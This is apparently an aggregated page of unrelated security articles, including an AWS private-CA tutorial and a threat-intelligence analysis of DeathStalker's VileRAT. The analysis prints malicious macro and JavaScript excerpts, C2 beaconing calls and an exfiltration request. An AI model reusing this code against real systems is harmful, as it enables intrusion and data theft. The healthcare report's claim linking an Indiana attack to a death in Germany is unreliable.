Tag: EFF

Software Supply Chain Chalks Up a Security Win With New Crypto Effort

GitHub, the owner of the Node Package Manager (npm), proposes cryptographically linking source code and JavaScript packages in an effort to shore up supply chain security.GitHub, the owner of the Node Package Manager (npm), proposes cryptographically linking source code and JavaScript packages in an effort to shore up supply chain security.Read More

Summer of exploitation leads to healthcare under fire

May 2021 was a tough month for the Healthcare and Medical sector–the most notable threat trend at the time was the heavy use of a new popular exploit against Dell systems, leading to immense effort by attackers to utilize the exploit before it became less effective due to patching.  

During this period, hospitals in central Florida were hit with malicious attacks that disrupted their operations and forced them to conduct business via pen and paper. In addition, a hospital system in Southern California was forced to modify how it did business due to a cyberattack. The San Diego-based health system quickly moved its information technology program offline, to reduce the damage done by the attack. However it also put a roadblock in the way of legitimate employees and customers trying access their medical information online.

Figure 1. United States Healthcare and Medical Threat Family Detections by Month

After the spike in May, CVE 2021-21551 detections dropped to about a quarter of the original numbers, and remained there throughout the year, except for another spike in February 2022. It seems the primary target for these attacks were healthcare and medical organizations in Pensacola, FL, but detections for New York, Wisconsin and New Jersey weren’t far behind.

Heavy detections of TrickBot were observed, especially against organizations in York, Pennsylvania during the first three months of 2021. But detections of this threat all over the United States quickly dropped beginning in April 2021 and steadily declined throughout the time period. TrickBot isn’t a stranger to healthcare organizations and has historically targeted them for the sake of launching ransomware or causing operational disruption.

This threat is even a concern to the US Government, which released an alert, through the CISA portal, back in October of 2020, about the danger of the TrickBot organization specifically targeting Healthcare organizations.

Figure 2. United States Healthcare & Medical Family Threat Detections Pie Chart

In August and September, we observed significant spikes of AI behavioral-based detections, which lines up with a series of newsworthy healthcare breaches during the same period. 

For example, a healthcare group in central Indiana was the victim of an attack that lead to a ransomware infection and the loss of information from patients and employees, then released on the dark web. The attack itself occurred in early August and forced organizations to turn away ambulances for several days, an action which led to the death of a person in Germany.

Another attack in early August, this time against a healthcare management firm in Dallas, Texas, resulted in the theft of valuable information, including patient information, health insurance and financial data. 

Securing healthcare and medical organizations

Our recommendations for securing healthcare and medical organizations start with acknowledging that securing these organizations from every possible threat is not possible. Therefore, when considering how to defend against a ransomware attack, be sure to account for getting operations back online after an attack. This includes having plans for operating the business without the use of computers, establishing secure backups of sensitive data off-site and off-line, while still following HIPPA protocol.

Beyond that, this industry has dealt with lots of heavy attacks originating from both attempts to exploit vulnerabilities, as well as spear phishing. Quickly patching vulnerabilities is a high priority, however given that quick patching isn’t always an option, times like these require risk reduction, such as removing non-patchable endpoints from direct Internet access, creating additional layers of authentication to access high value systems, and a thorough review of user accounts and permissions, to tighten up who has access to what.

Finally, many of these organizations utilize mobile stations for inputting or reviewing data. These systems should not be able to do things like using USB drives. They should have screen protectors to prevent unintended information disclosure, and these systems should be completely wiped with a new image on a regular basis, to ensure removal of any hidden rootkit-level threats. 

How to incorporate ACM PCA into your existing Windows Active Directory Certificate Services

Using certificates to authenticate and encrypt data is vital to any enterprise security. For example, companies rely on certificates to provide TLS encryption for web applications so that client data is protected. However, not all certificates need to be issued from a publicly trusted certificate authority (CA). A privately trusted CA can be leveraged to issue certificates to help protect data in transit on resources such as load-balancers and also device authentication for endpoints and IoT devices. Many organizations already have that privately trusted CA running in their Microsoft Active Directory architecture via Active Directory Certificate Services (ADCS).

This post outlines how you can use Microsoft’s Windows 2019 ADCS to sign an AWS Certificate Manager (ACM) Private Certificate Authority (Private CA) instance, extending your existing ADCS system into your AWS environment. This will allow you to issue certificates via ACM for resources like Application Load Balancer that are trusted by your Active Directory members. The ACM PCA documentation talks about how to use an external CA to sign the ACM PCA certificate. However, it leaves the details of the external CA outside of the documentation scope.

Why use ACM PCA?

AWS Certificate Manager Private Certificate Authority (ACM Private CA or ACM PCA) is a private CA service that extends ACM certificate management capabilities to both public and private certificates. ACM PCA provides a highly available private CA service without the upfront investment and ongoing maintenance costs of operating your own private CA. ACM PCA allows developers to be more agile by providing them with APIs to create and deploy private certificates programmatically. You also have the flexibility to create private certificates for applications that require custom certificate lifetimes or resource names.

Why use ACM PCA with Windows Active Directory?

Many enterprises already use Active Directory to manage their IT resources. Whether it is on-premises or built into your AWS accounts, Active Directory’s built-in CA can be extended by ACM PCA. Using your ADCS to sign an ACM PCA means that members of your Active Directory automatically trust certificates issued by that ACM PCA. Keep in mind that these are still private certificates, and they are intended to be used just like certificates from ADCS itself. They will not be trusted by unmanaged devices, because these are not signed by a publicly trusted external CA. Therefore, systems like Mac and Linux may require that you manually deploy the ADCS certificate chain in order to trust certificates issued by your new ACM PCA.

This means it is more efficient for you to rapidly deploy certificates to your endpoint workstations for authentication. Or you can protect internal-only workloads with certificates that are constrained to your internal domain namespace. These tasks can be done conveniently through AWS APIs and the AWS SDK.

Solution overview

In the following sections, we will configure Microsoft ADCS to be able to sign a subordinate CA, deploy and sign ACM PCA, and then test the solution using a private website that is protected by a TLS certificate issued from the ACM PCA.

Configure Microsoft ADCS

Microsoft ADCS is normally deployed as part of your Windows Active Directory architecture. It can be extended to do multiple different types of certificate signing depending on your environment’s needs. Each of these different types of certificates is defined by a template that you must enable and configure. Each template contains configuration information about how Microsoft ADCS will issue the certificate type. You can copy and configure templates differently depending on your environment’s requirements. The specifics of each type of template is outside the scope of this blog post.

To configure ADCS to sign subordinate CAs

On the CA server that will be signing the private CA certificate, open the Certification Authority Microsoft Management Console (MMC).
In the left-side tree view, expand the name of the server.
Open the context (right-click) menu for Certificate Templates and choose Manage.

Figure 1: Navigating to the Manage option for the certificate templates

This opens the Certificate Template Console, which is populated with the list of optional templates.

Scroll down, open the context (right-click) menu for Subordinate Certification Authority, and choose Duplicate Template, as shown in Figure 2. This will create a duplicate of the template that you can alter for your needs, while leaving the original template unaltered for future use. Selecting Duplicate Template immediately opens the configuration for the new template.

Figure 2: Select Duplicate Template to create a copy of the Subordinate Certification Authority template

To configure and use the new template

On the new template configuration page, choose the General tab, and change the template display name to something that uniquely identifies it. The example in this post uses the name Subordinate Certification Authority – Private CA.
Select the check box for Publish certificate in Active Directory, and then choose OK. The new template appears in the list of available templates. Close the Certificate Templates Console.
Return to the Certification Authority MMC. Open the context (right-click) menu for Certificate Templates again, but this time choose New -> Certificate Template to Issue.

Figure 3: Issue the new Certificate Template you created for subordinate Cas

In the dialog box that appears, choose the new template you created in Step 1 of this procedure, and then choose OK.

That’s all that’s needed! Your CA is now ready to issue certificates for subordinate CAs in your public key infrastructure. Open a browser from either the ADCS CA server itself or through a network connection to the ADCS CA server, and use the following URL to access the certificate server’s certificate signing interface.


Now you can see that in the Certificate Templates list, you can choose the Subordinate Certification Authority template that you created, as shown in Figure 4.

Figure 4: The interface to sign certificates on your CA now shows the new certificate template you created

Deploy and sign the ACM Private CA’s certificate

In this step, you will deploy the ACM PCA, which is the first step to create a subordinate CA to deploy in your AWS account. The process of deploying the ACM PCA is well documented, so this post will not go into depth about the deployment itself. Instead, this procedure focuses on the steps for taking the certificate signing request (CSR) and signing it against the ADCS, and then covers the additional steps to convert the certificates that ADCS produces into the certificate format that ACM PCA expects.

After the ACM PCA is initially deployed, it needs to have a certificate signed to authenticate it. ACM PCA offers two options for signing the new instance’s certificate. You can choose to sign either through another ACM PCA instance, or via an external CA. Since you are using ADCS in this walkthrough, you will use the process of an external CA. The ACM PCA deployment is now at a point where it needs its CSR signed by Microsoft ADCS. You should see that it is ready in the AWS Management Console for ACM PCA.

To deploy and sign the ACM PCA’s certificate

When the ACM PCA is ready, in the ACM PCA console, begin the Install subordinate CA certificate process by choosing External private CA for the CA type.

Figure 5: Options for signing the new instance’s certificate

You will then be provided the certificate signing request (CSR) for the ACM PCA. Copy and paste the CSR content into the ADCS CA signing URL you visited earlier on the CA server. Then choose Next. The next page is where you will paste in the new signed certificate and certchain in a later step.
From the ADCS CA URL, be sure that the new Subordinate Certification Authority template is selected, and then choose Submit. The new certificate will be issued to you. The ADCS issuing page provides two different formats for the certificate, either as Distinguished Encoding Rules (DER) or base64-encoded.
Copy the base64-encoded files for both the certificate and the certchain to your local computer. The certificate is already in Privacy Enhanced Mail (PEM) format, and its contents can be pasted into the ACM PCA certificate input in the console. However, you must convert the certchain into the format required by the ACM PCA by following these steps:
To convert the format of the certchain, use the openssl tool from the command line. The process of installing the openssl tool is outside the scope of this blog post. Refer to the OpenSSL site documentation for installation options for your operating system.
Use the following command to convert the certchain file from Public Key Cryptographic Standards #7 (PKCS7) to PEM.

openssl pkcs7 -print_certs -in certnew.p7b -out certchain.pem

Using a text editor, open the certchain.pem file and copy the last certificate block from the file, starting with —–BEGIN CERTIFICATE—– and ending with —–END CERTIFICATE—–. You will notice that the file begins with the signed certificate and includes subject= and issuer= statements. ACM PCA only accepts the content that is the certificate chain.

Return to the ACM PCA console page from Step 1, and paste the text the you just copied into the input area provided for the certificate chain. After this step is complete, the private CA is now signed by your corporate PKI.

Test the solution

Now that the ACM PCA is online, one of the things it can do is issue certificates via ACM that are trusted by your corporate Active Directory joined clients. These certificates can be used in services such as Application Load Balancers to provide TLS protected endpoints that are unique to your organization and trusted only by your internal clients.

From a client joined to our test Active Directory, Internet Explorer shows that it trusts the TLS certificate issued by AWS Certificate Manager and used on the Application Load Balancer for a private site.

Figure 6: Internet Explorer showing that it trusts the TLS certificate

For this demo, we created a test web server that is hosting an example webpage. The web server is behind an AWS Application Load Balancer. The TLS certificate attached to the Application Load Balancer is issued from the new ACM PCA.


Organizations that have Microsoft Active Directory deployed can use Active Directory’s Certificate Services to issue certificates for private resources. This blog post shows how you can extend that certificate trust to AWS Certificate Manager Private CA. This provides a way for your developers to issue private certificates automatically, which are trusted by your Active Directory domain-joined clients or clients that have the ADCS certificate chain installed.

For more information on hybrid public key infrastructure (PKI) on AWS, refer to these blog posts:

How to implement a hybrid PKI solution on AWS
Integrating Microsoft Active Directory with AWS Certificate Manager Private CA using Secardeo certEP

For more information on certificates for Mac and Linux, refer to the following resources:

Add certificates to a keychain using Keychain Access on Mac
Ubuntu – Installing a root CA certificate in the trust store
RedHat – Making CA certificates available to Linux command-line tools

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Want more AWS Security news? Follow us on Twitter.

Geoff Sweet

Geoff has been in industry for over 20 years, and began his career in Electrical Engineering. Starting in IT during the dot-com boom, he has held a variety of diverse roles, such as systems architect, network architect, and, for the past several years, security architect. Geoff specializes in infrastructure security.

Using certificates to authenticate and encrypt data is vital to any enterprise security. For example, companies rely on certificates to provide TLS encryption for web applications so that client data is protected. However, not all certificates need to be issued from a publicly trusted certificate authority (CA). A privately trusted CA can be leveraged toRead More

AWS co-announces release of the Open Cybersecurity Schema Framework (OCSF) project

In today’s fast-changing security environment, security professionals must continuously monitor, detect, respond to, and mitigate new and existing security issues. To do so, security teams must be able to analyze security-relevant telemetry and log data by using multiple tools, technologies, and vendors. The complex and heterogeneous nature of this task drives up costs and may slow down detection and response times. Our mission is to innovate on behalf of our customers so they can more quickly analyze and protect their environment when the need arises.

With that goal in mind, alongside a number of partner organizations, we’re pleased to announce the release of the Open Cybersecurity Schema Framework (OCSF) project, which includes an open specification for the normalization of security telemetry across a wide range of security products and services, as well as open-source tools that support and accelerate the use of the OCSF schema. As a co-founder of the OCSF effort, we’ve helped create the specifications and tools that are available to all industry vendors, partners, customers, and practitioners. Joining us in this announcement is an array of key security vendors, beginning with Splunk, the co-founder with AWS of the OCSF project, and also including Broadcom, Salesforce, Rapid7, Tanium, Cloudflare, Palo Alto Networks, DTEX, CrowdStrike, IBM Security, JupiterOne, Zscaler, Sumo Logic, IronNet, Securonix, and Trend Micro. Going forward, anyone can participate in the evolution of the specification and tooling at https://github.com/ocsf.

Our customers have told us that interoperability and data normalization between security products is a challenge for them. Security teams have to correlate and unify data across multiple products from different vendors in a range of proprietary formats; that work has a growing cost associated with it. Instead of focusing primarily on detecting and responding to events, security teams spend time normalizing this data as a prerequisite to understanding and response. We believe that use of the OCSF schema will make it easier for security teams to ingest and correlate security log data from different sources, allowing for greater detection accuracy and faster response to security events. We see value in contributing our engineering efforts and also projects, tools, training, and guidelines to help standardize security telemetry across the industry. These efforts benefit our customers and the broader security community.

Although we as an industry can’t directly control the behavior of threat actors, we can improve our collective defenses by making it easier for security teams to do their jobs more efficiently. At AWS, we are excited to see the industry come together to use the OCSF project to make it easier for security professionals to focus on the things that are important to their business: identifying and responding to events, then using that data to proactively improve their security posture.

To learn more about the OCSF project, visit https://github.com/ocsf.

Want more AWS Security news? Follow us on Twitter.

Mark Ryland

Mark is the director of the Office of the CISO for AWS. He has over 30 years of experience in the technology industry and has served in leadership roles in cybersecurity, software engineering, distributed systems, technology standardization and public policy. Previously, he served as the Director of Solution Architecture and Professional Services for the AWS World Public Sector team.

In today’s fast-changing security environment, security professionals must continuously monitor, detect, respond to, and mitigate new and existing security issues. To do so, security teams must be able to analyze security-relevant telemetry and log data by using multiple tools, technologies, and vendors. The complex and heterogeneous nature of this task drives up costs and mayRead More

Compliance Certifications: Worth the Effort?

Because demonstrating compliance with industry regulations can be cumbersome and expensive, it’s important to ensure they’re also absolutely essential.Because demonstrating compliance with industry regulations can be cumbersome and expensive, it’s important to ensure they’re also absolutely essential.Read More

VileRAT: DeathStalker’s continuous strike at foreign and cryptocurrency exchanges

In late August 2020, we published an overview of DeathStalker’s profile and malicious activities, including their Janicab, Evilnum and PowerSing campaigns (PowerPepper was later documented in 2020). Notably, we exposed why we believe the threat actor may fit a group of mercenaries, offering hack-for-hire services, or acting as an information broker to support competitive and financial intelligence efforts.

Meanwhile, in August 2020, we also released a private report on VileRAT to our threat intelligence customers for the first time. VileRAT is a Python implant, part of an evasive and highly intricate attack campaign against foreign exchange and cryptocurrency trading companies. We discovered it in Q2 2020 as part of an update of the Evilnum modus operandi, and attributed it to DeathStalker. Malicious activities that we associate with DeathStalker’s VileRAT track have been publicly and partly documented since, without any attribution or under different monikers (Evilnum, PyVil), starting in September 2020, through 2021 and more recently in June 2022.

DeathStalker has indeed continuously leveraged and updated its VileRAT toolchain against the same type of targets since we first identified it in June 2020. While we comprehensively documented the evolution to our threat intelligence customers recently, and despite existing public indicators of compromise, we regret to note that the campaign is not only ongoing at the time of writing, but also that DeathStalker likely increased its efforts to compromise targets using this toolchain recently. We have indeed been able to identify more samples of VileRAT-associated malicious files and new infrastructure since March 2022, which may be a symptom of an increase in compromise attempts. We deemed it may be helpful to publicly expose some of our knowledge about VileRAT, to help potential targets better detect and stop such malicious activities.

VileRAT’s initial infection and toolset overview

Back in the summer of 2020, DeathStalker’s VileRAT initial infection consisted in spear-phishing emails sent to foreign exchange companies, from fake personas (a fake diamonds trading company for instance) who shared investment interests. Should the target reply and continue with the conversation, the fake persona would at some point and upon request provide a link to a malicious file hosted on Google Drive (a Windows shortcut file masquerading as a PDF or in a ZIP archive), as identification documents. The malicious link would then trigger the execution of arbitrary system commands, to drop a harmless decoy document, as well as a malicious and quite sophisticated binary loader that we dubbed VileLoader.

More recently, since at least late 2021, the infection technique has changed slightly, but the initial infection vector is still a malicious message: a Word document (DOCX, see Figure 1) is sent to targets via email (either as an attachment or embedded in the email body whenever possible). In July 2022, we also noticed that the attackers leveraged chatbots that are embedded in targeted companies’ public websites to send malicious DOCX to their targets.

Figure 1. Malicious DOCX social engineering message

The DOCX documents are frequently named using the “compliance” or “complaint” keywords (as well as the name of the targeted company), suggesting the attacker is answering an identification request or expressing an issue as a reason to send them.

The initial infection and toolset deployment, as we observed them starting in at least late 2021, are schematized below (see Figure 2).

Figure 2. VileRAT infection and toolset overview

A bit of stomping and concealment up to VileDropper

The initial DOCX infection document itself is innocuous, but it contains a link to another malicious and macro-enabled DOTM document as a “remote template” (see Figure 3). These DOTM files are automatically downloaded by Word when the DOCX is opened, and its embedded macro is triggered if the recipient enabled execution (as requested by the social engineering message, see Figure 1).

<?xml version=”1.0″ encoding=”UTF-8″ standalone=”yes”?>
<Relationships xmlns=”http://schemas.openxmlformats.org/package/2006/relationships”>
<Relationship Id=”rId1″ Type=”http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate” Target=”hxxp://plantgrn[.]com/HjSYaquyA5umRSZcy%2B0xLfaIdgf5Qq8BA6EggZELrzkAAADvNjKmxl00LiQYCUFp2DSHYB8NW18l94y4JmYJq84iAcUK4DiouvcYORosLa5BzVcmWShg6Y6sjwg%3D” TargetMode=”External”/>

Figure 3. Malicious remote template inclusion in infection DOCX

The malicious DOTM remote templates leverage the VBA stomping technique to conceal the code of an embedded macro. VBA stomping involves making the editable VBA source code (i.e., the visible code of a macro) different from the code that will actually be executed. This is possible because both the editable (visible) source code and a transformed internal version of it called p-code are embedded in macro-enabled documents. As a result of VBA stomping, the real macro code that will be executed is hidden from standard tools (Microsoft Word’s macro edition tools, but also OLETools).

This technique comes with a drastic limitation: the hidden macro (i.e., internal p-code) can only be executed if the macro-enabled document is opened with the same Office version from which it was generated. Otherwise, the hidden macro cannot run, and the visible one will be executed instead. In this last case, DeathStalker ensured it would result in a popup message to the user (see Figure 4). But most of all, DeathStalker ensured that it distributed several variants of infection documents to their targets, each one being prepared for a specific Office version.

Figure 4. VBA stomping failure in a malicious DOTM remote template

In any case, the visible and hidden macros download a picture to replace the social engineering message in the infection document (see Figure 5) and trick the readers into believing something failed.

Figure 5. Example of a downloaded image upon macro execution

In the background, however, provided the VBA stomping worked, the DOTM-embedded macro silently gathers information about security products that are installed on the target computer (using WMI), sends them to a command-and-control (C2) server, decodes and drops files, then ultimately executes a malicious obfuscated JavaScript (JS) backdoor we called VileDropper.

The DOTM-embedded macro itself already reveals some interesting and specific techniques. It is lightly obfuscated, as most text strings are XOR-encoded (see Figure 6) with a password that is derived from a sentence (e.g., “Operates Catholic small towns pueblos Two of“).

Function decodestring(dt As String) As String
On Error Resume Next
Dim ks As String
ks = decodepassword
Dim dl As Long
dl = ((Len(dt) / 2) – 1)
kl = Len(ks)
Dim s As String
s = “”
For i = 0 To dl
Dim c1 As Integer
Dim c2 As Integer
c1 = Val(“&H” & Mid(dt, ((i * 2) + 1), 2))
c2 = Asc(Mid(ks, (i Mod kl) + 1, 1))
s = s & Chr(c1 Xor c2)
decodestring = s
End Function

Figure 6. XOR decoding function (renamed for clarity) in DOTM-embedded macro

The XOR decoding algorithm looks very close to the one that has been leveraged in VBS loader scripts from the PowerPepper toolchain (see Figure 7) in the past, and seemingly legitimate function names are also reminiscent of those that were used by PowerPepper macros (e.g., “insert_table_of_figures”, “change_highlight_color”, etc.).

Function DelPort(GeneralText)
Dim Argv : Argv = WScript.Arguments(0)
GeneralText = Replace(GeneralText, “44f”,”44″)
Dim z, i, cvpo, vpcol, sdfiko, gfdvvc, sdfopk
For i = 1 To Len(GeneralText)
cvpo = cvpo + 1
If cvpo > Len(Argv) Then cvpo = 1
gfdvvc = Asc(Mid(Argv, cvpo, 1))
If i > Len(GeneralText) 2 Then Exit For
vpcol = CByte(“&H” & Mid(GeneralText, i * 2 – 1, 2))
sdfiko = vpcol Xor gfdvvc
z = z & Chr(sdfiko)
DelPort = z
End Function

Figure 7. XOR decoding function in a PowerPepper VBS loader (MD5 DB6D1F6AB887383782E4E3D6E4AACDD0)

The DOTM-embedded macro decodes and drops two files (in the “%APPDATA%” folder: “Redist.txt” and “ThirdPartyNotice.txt”, or “pattern.txt” and “changelog.txt”) out of encoded data that is stored in non-visible TextBox forms (see Figure 8). Leveraging Office object properties as hidden data sources is also something we have previously seen with PowerPepper.

Figure 8. TextBox form used as a data store within malicious DOTM documents, as shown by Microsoft’s VBA editor

Another notable feature is that the DOTM-embedded macro signals progression or errors during the execution by sending HTTP GET requests to fixed C2 URLs. Interestingly, all HTTP requests in the VBA macro are triggered using remote picture insertion functions (see Figure 9).

doc.Shapes.AddPicture (decodestring(“09184015545D5B1B1B07501E001F5C4B0D1D5B3B2D3647143422115728383E1D3E2A024B06025B…0F1C02301C4B57743F190273173713384258545B46582D5C242F3335565C234123543853115838183D21156116500F5C210A2717462327073A362E765C370347362B267F1035230C1036”))
‘ hxxp://hubflash[.]co/HCSqfUN%2FJJnPO49gnojrpDo%2BMxnGrYaL161m49AhAAAA%2FwQ5Tgt6JlNO

Figure 9. DOTM-embedded macro leverages “AddPicture” as a Web client

In any case, the DOTM-embedded macro finally triggers VileDropper’s execution, using a renamed copy of the “WScript” interpreter (“msdcat.exe” or “msgmft.exe” in the “%APPDATA%” folder), with a command such as:

msgmft.exe /E:jScrIpt “changelog.txt” 91 pattern.txt

“changelog.txt” is VileDropper, while “91” is part of password used by VileDropper to decode XORed data, and “pattern.txt” is an encoded package that contains VileLoader.

VileDropper: an overly obfuscated task scheduler

Next in DeathStalker’s intricate VileRAT infection chain comes VileDropper. It is an obfuscated JavaScript file that mainly drops and schedules the execution of the next stage: VileLoader.

var _0x140c9e;//ACCS3
_0x36bbe9: {//ACCS3
try {//ACCS3
var _0x527036 = _0x112a30 + ‘x5c’ + WScript[_0x1dbcbb(0x38c)](0x1),//ACCS3
_0x33ee6e = _0x3b3918[_0x4462ad[_0x1dbcbb(0x312)](_0x4459df, _0x4462ad[_0x1dbcbb(0x23d)])](_0x527036, 0x1),//ACCS3
_0x46efdf = _0x33ee6e[_0x4459df(_0x1dbcbb(0x1e7) + _0x1dbcbb(0x29c))]();//ACCS3
_0x33ee6e[_0x1dbcbb(0x37a)](), _0x3b3918[_0x1dbcbb(0x38f)](_0x527036), _0x527036 = ”;//ACCS3
for (_0x33ee6e = 0x0; _0x33ee6e < _0x46efdf[_0x1dbcbb(0x2fa)] – 0x2; _0x33ee6e += 0x2)//ACCS3
_0x527036 += String[_0x1dbcbb(0x259) + ‘de’](parseInt(_0x46efdf[_0x1dbcbb(0x2f4)](_0x33ee6e, _0x33ee6e + 0x2), 0x10));//ACCS3
_0x140c9e = _0x527036;//ACCS3
break _0x36bbe9;//ACCS3
} catch (_0x48c9c6) {}//ACCS3
_0x140c9e = void 0x0;//ACCS3

Figure 10. VileDropper code excerpt in its original form

VileDropper needs at least two arguments to run for the first time (a third may be used as a flag to trigger environment-specific execution variations, depending on security products that are installed on targeted computers):

the first one is a partial password (used to decode XOR-encoded data),
the second is a path to an encoded payload file (contains VileLoader and its companion shellcode).

VileDropper also checks its interpreter and file name, to immediately stop execution if it is not called as planned (this is probably done to evade sandboxes), as can be seen in the following deobfuscated code excerpt:

if (aWShell1[“CurrentDirectory”][“toLowerCase”]() != aAppDataPath1[“toLowerCase”]()) {
if (!sArgThird1) {
if (-0x1 == aScriptHostFullpath1[“indexOf”](“msdcat”)) {
} else {
if (-0x1 == aScriptHostFullpath1[“indexOf”](“cscript”)) {

Figure 11. Deobfuscated execution check in VileDropper

VileDropper’s exact execution flow depends on the security products that are installed on the targeted computer, but most of the time, it copies itself to another file, relaunches itself, and deletes its original copy. During execution VileDropper:

gathers additional data on the targeted environment (using WMI) as well as generating a target identifier and sends them to a C2 server;
decodes and drops VileLoader and its encoded companion shellcode. The file names and location will vary depending on samples, but they are placed under a seemingly legitimate common folder in “%APPDATA%” (e.g., “exe” and “dev0Y11ZF.tmp” in “%APPDATA%MicrosoftPrinter SettingsPrinters”);
schedules a task to run VileLoader 35 to 65 seconds later, then indefinitely every three hours and 45 minutes.

VileDropper sends data to a C2 server using an HTTP GET request to a fixed URL (e.g., “hxxp://hubflash[.]co/admin/auth.php”), using a preset User-Agent (both the C2 URL and the User-Agent change depending on VileDropper samples). The useful information is stored as a JSON document, which is then XOR-encoded, base64-encoded, URL-encoded, and set as a cookie value in the HTTP request:

Content (JSON value)
A target identifier. The identifier is a custom UUID-like representation of the target’s login (%USERNAME% environment variable) and computer UUID (as obtained in the first result of the WMI query: SELECT UUID FROM Win32_ComputerSystemProduct). This UUID-like value is then base64-encoded and URL-encoded. Due to fixed lengths and padding from the identifier generation logic, the identifier’s final form is always 48 characters long.
A hard-coded VileDropper identifier, which might designate a campaign or version (e.g., “9745B355”).
A list of the names of the security products (AntiVirusProduct in WMI) that are installed on the target computer, separated by the pipe sign (|), then XORed, base64-encoded and URL-encoded.
The target’s fully qualified login, as the shell expansion of “%USERDOMAIN%%USERNAME%”, which is then XORed, base64-encoded and URL-encoded.
The target’s operating system version, as returned from the WMI query SELECT Version FROM Win32_OperatingSystem, then base64-encoded and URL-encoded.

The task that is scheduled by VileDropper (whose name varies depending on samples, e.g., “CDS Sync” or “UpdateModel Task”), triggers the following type of execution command:

%APPDATA%MicrosoftPrinter SettingsPrintersFWDeviceEnabler.exe “[u]” “<encoded companion shellcode file name>” “[a]” “[w]” 0 “[d]” “[n]” <a letter of the encoded companion shellcode file name>

The characters between square brackets (such as [u]) in the command line designate the content of the corresponding JSON key (i.e., [u] is the encoded target identifier).

A XORing interlude

Before moving on to VileLoader, a note on the XOR encoding scheme that is leveraged by VileDropper to protect data sent to the C2 server, as similar schemes will be used further on. The algorithm generates data blobs that are laid out as follows (then sometimes further base64-encoded and URL-encoded):

Type A:

[XOR key (6 random bytes)][XOR-encoded data]

The resulting blobs are self-sufficient and can be decoded by the recipient (as well as any third party…) without any access to the pre-shared key. In VileDropper, strings that are encoded as part of the JavaScript obfuscation benefit from an additional XORing step: the XOR key that is embedded in data blobs is additionally XORed with a script-specific fixed password (a part of this fixed password is passed to VileDropper on its execution command line by the previous DOTM macro in the infection chain, the other part is hard-coded in VileDropper itself).

Later, VileLoader and VileRAT use other variants of this algorithm, which produces data blobs that are laid out as one of the following options:

Type B:

[XOR key length (variable)][XOR key (random bytes)][Padding][XOR-encoded data]

Type C:

[XOR-encoded data length][XOR-encoded data][XOR key length (variable)][XOR key (random bytes)]

Type D:

[XOR key length (variable)][XOR key (random bytes)][XOR-encoded data length][XOR-encoded data]

VileLoader: an evasive multi-stage implant downloader

VileLoader is a remarkable piece of the VileRAT compromise approach. While it has existed since Q2 2020 (it was first publicly documented as dddp.exe), it has been continuously updated and maintained since, and is still deployed from VileDropper at the time of writing. VileLoader’s main goal is to download and execute an additional payload from a C2 server. Though we have only observed it triggering the execution of VileRAT, the loader can technically download and execute other implants.

Recent VileLoader samples are composed of a binary executable (stage 1) and an encoded companion shellcode file (stage 2). Previous samples of VileLoader usually embedded the shellcode within the binary executable directly, and presented themselves as a single monolithic file.

Stage 1 – Doctored binary unpacker

VileLoader is initially presented as a binary executable, which ensures the first stage of the execution. This binary is always a legitimate one, which is meticulously doctored by the attackers to integrate a malicious unpacker-type payload. As such, the binary may appear legitimate from a quick automated static code analysis perspective: it includes all the code of a legitimate application (but will not work as expected). This “unpacker” stage is aimed at decoding, loading, and executing the second stage in memory.

VileLoader’s workflow starts by waiting 17 seconds. Then it parses the command line arguments. The command line must include five arguments at least, or VileLoader terminates the execution. In practice, VileDropper usually gives seven arguments to VileLoader, as we have previously described. VileLoader then opens its encoded companion shellcode file (whose name is passed as a second argument to VileLoader, e.g., “devENX1C6SS.tmp”), reads and decodes it (using the Type B XOR algorithm), maps the deobfuscated data in a region with read, write and execute (RWX) permissions, and runs the next stage (stage 2) by starting a new thread.

VileLoader’s first stage contains very unique “signature” techniques that have been stable since the first sample we analyzed in Q2 2020:

“Sleep” and “GetTickCount” Windows API functions are leveraged to generate random waiting delays. Those functions are resolved in an unusual way: by referencing hard-coded offsets from the beginning of the current binary image that point directly to entries in the legitimate executable’s import address table (IAT);
the unpacking and loading of VileLoader’s encoded companion shellcode file leverages multiple custom-made system calls, that are similar to low-level Windows API functions (NTDLL) for different Windows versions: NtOpenFile, NtReadFile, NtAllocateVirtualMemory, NtCreateThreadEx and NtWaitForSingleObject (see Figure 12).

Figure 12. VileLoader’s stage 1 custom-made system call

However, while older samples parsed command line arguments by resolving and calling dedicated Windows API functions (such as “GetCommandLineW”), the recent samples directly read this information from their own PEB (Process Environment Block) structure. This may have been done to better bypass the detection of some security solutions.

Stage 2 – In-memory downloader

The second stage content is extracted from VileLoader’s encoded companion shellcode file, and run by VileLoader’s first stage in-memory, in a new thread. From a data perspective, the second stage shellcode (once unpacked by the first stage) is a PE binary that is stripped of its headers and embeds additional encoded data.

This second stage starts by decoding the required data from its own content (using the Type C XOR algorithm). Some data are decoded as hash values that were generated with the djb2 algorithm. Those hashes are in turn used to resolve the required function imports through a homebrew IAT: required libraries are loaded, their export tables are parsed, exported function names are hashed with djb2, and the hashes are compared to hashes that were decoded from internal data. Stage 2 continues by creating a mutex, whose name has been stable since Q2 2020, and which is the same as in VileRAT (“GlobalwU3aqu1t2y8uN”).

Finally, VileLoader’s second stage builds an HTTP GET request that is used to download an implant package. In older VileLoader samples, the downloader used a static URL that looked as follows:

http://<domain>/c&v=2&u=<argument 1>&a=<argument 2>&c=<argument 3>

The only evasion attempt consisted in randomly choosing an HTTP User-Agent header value amongst a fixed list of four. VileLoader used the targeted system’s uptime as a source of “randomness”. In recent samples, developers tried to improve these evasion techniques, and the HTTP request now looks like this:

GET /administrator/index.php HTTP/1.1
Connection: keep-Alive
Accept-Language: en-US,en;q=0.8
Accept: */*
Referer: http://www.yahoo.com
Cookie: source=<encrypted blob>;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Host: corstand[.]com

All values that are colored in red are now chosen at random from a hard-coded list that is decoded from the stage 2 content (using the Type C XOR algorithm). The encrypted blob (cookie value) is initially a JSON dictionary, encrypted with the RC4 algorithm (using the key “BD DE 96 D2 9C 68 EE 06 49 64 D1 E5 8A 86 05 12 B0 9A 50 00 4E F2 E4 92 5C 76 AB FC 90 23 DF C6”, decoded from stage 2 content), XORed (using the Type B XOR algorithm), base64-encoded and URL-encoded. The actual JSON content is very similar to the one that is sent by VileDropper to the C2 server:

Provided by VileDropper  via the command line

Hard-coded value (65 in the last sample we analyzed) which might be a version number.
The target identifier.
The list of security solutions installed on the targeted computer.
The target’s operating system version.
A fixed identifier, which might designate a campaign or version.
